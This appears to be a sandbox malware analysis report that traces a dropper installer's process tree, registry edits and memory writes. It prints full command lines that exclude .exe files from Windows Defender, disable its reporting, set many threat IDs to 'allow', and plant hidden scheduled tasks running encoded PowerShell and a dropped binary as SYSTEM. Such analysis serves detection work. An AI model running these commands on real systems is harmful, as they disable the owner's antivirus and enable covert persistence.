Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A
N/A N/A C:\Windows\Temp\biwNYXhGTKCQxjLv\FYNLXMILBnPjHKv\hBGCRUH.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4088 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe C:\Users\Admin\AppData\Local\Temp\7zS789B.tmp\Install.exe
PID 4088 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe C:\Users\Admin\AppData\Local\Temp\7zS789B.tmp\Install.exe
PID 4088 wrote to memory of 4112 N/A C:\Users\Admin\AppData\Local\Temp\PL\setup.exe C:\Users\Admin\AppData\Local\Temp\7zS789B.tmp\Install.exe
PID 4112 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\7zS789B.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe
PID 4112 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\7zS789B.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe
PID 4112 wrote to memory of 3012 N/A C:\Users\Admin\AppData\Local\Temp\7zS789B.tmp\Install.exe C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe
PID 3012 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 3012 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 3012 wrote to memory of 2696 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 3012 wrote to memory of 4740 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 3012 wrote to memory of 4740 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 3012 wrote to memory of 4740 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\forfiles.exe
PID 2696 wrote to memory of 4084 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2696 wrote to memory of 4084 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 2696 wrote to memory of 4084 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4740 wrote to memory of 2120 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4740 wrote to memory of 2120 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4740 wrote to memory of 2120 N/A C:\Windows\SysWOW64\forfiles.exe C:\Windows\SysWOW64\cmd.exe
PID 4084 wrote to memory of 2412 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 4084 wrote to memory of 2412 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 4084 wrote to memory of 2412 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2120 wrote to memory of 4560 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2120 wrote to memory of 4560 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2120 wrote to memory of 4560 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 4084 wrote to memory of 3648 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 4084 wrote to memory of 3648 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 4084 wrote to memory of 3648 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2120 wrote to memory of 4572 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2120 wrote to memory of 4572 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 2120 wrote to memory of 4572 N/A C:\Windows\SysWOW64\cmd.exe \??\c:\windows\SysWOW64\reg.exe
PID 3012 wrote to memory of 5028 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3012 wrote to memory of 5028 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3012 wrote to memory of 5028 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3012 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3012 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3012 wrote to memory of 1588 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3696 wrote to memory of 4672 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\gpupdate.exe
PID 3696 wrote to memory of 4672 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE C:\Windows\system32\gpupdate.exe
PID 3012 wrote to memory of 4288 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3012 wrote to memory of 4288 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3012 wrote to memory of 4288 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3012 wrote to memory of 948 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3012 wrote to memory of 948 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 3012 wrote to memory of 948 N/A C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe C:\Windows\SysWOW64\schtasks.exe
PID 2532 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\RCIgDeD.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2532 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\RCIgDeD.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2532 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\RCIgDeD.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1128 wrote to memory of 3344 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1128 wrote to memory of 3344 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 1128 wrote to memory of 3344 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3344 wrote to memory of 2472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 3344 wrote to memory of 2472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 3344 wrote to memory of 2472 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 2116 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 2116 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 2116 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 2984 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 2984 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 2984 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 4760 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 4760 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 4760 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 3120 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe
PID 1128 wrote to memory of 3120 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\reg.exe

Processes

C:\Users\Admin\AppData\Local\Temp\PL\setup.exe

"C:\Users\Admin\AppData\Local\Temp\PL\setup.exe"

C:\Users\Admin\AppData\Local\Temp\7zS789B.tmp\Install.exe

.\Install.exe

C:\Users\Admin\AppData\Local\Temp\7zS7ACD.tmp\Install.exe

.\Install.exe /S /site_id "525403"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"

C:\Windows\SysWOW64\forfiles.exe

"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&

C:\Windows\SysWOW64\cmd.exe

/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64

\??\c:\windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "gfqoQgPMP" /SC once /ST 05:19:44 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="

C:\Windows\SysWOW64\schtasks.exe

schtasks /run /I /tn "gfqoQgPMP"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==

C:\Windows\system32\gpupdate.exe

"C:\Windows\system32\gpupdate.exe" /force

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

C:\Windows\system32\gpscript.exe

gpscript.exe /RefreshSystemParam

C:\Windows\SysWOW64\schtasks.exe

schtasks /DELETE /F /TN "gfqoQgPMP"

C:\Windows\SysWOW64\schtasks.exe

schtasks /CREATE /TN "bJbhxhmwQPPePEjnjA" /SC once /ST 17:47:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\RCIgDeD.exe\" sw /site_id 525403 /S" /V1 /F

C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\RCIgDeD.exe

C:\Users\Admin\AppData\Local\Temp\alLGALgTRSblXywJD\nzjBlZvpbSzibxG\RCIgDeD.exe sw /site_id 525403 /S

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32

C:\Windows\SysWOW64\reg.exe

"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64

C:\Windows\SysWOW64\reg.exe

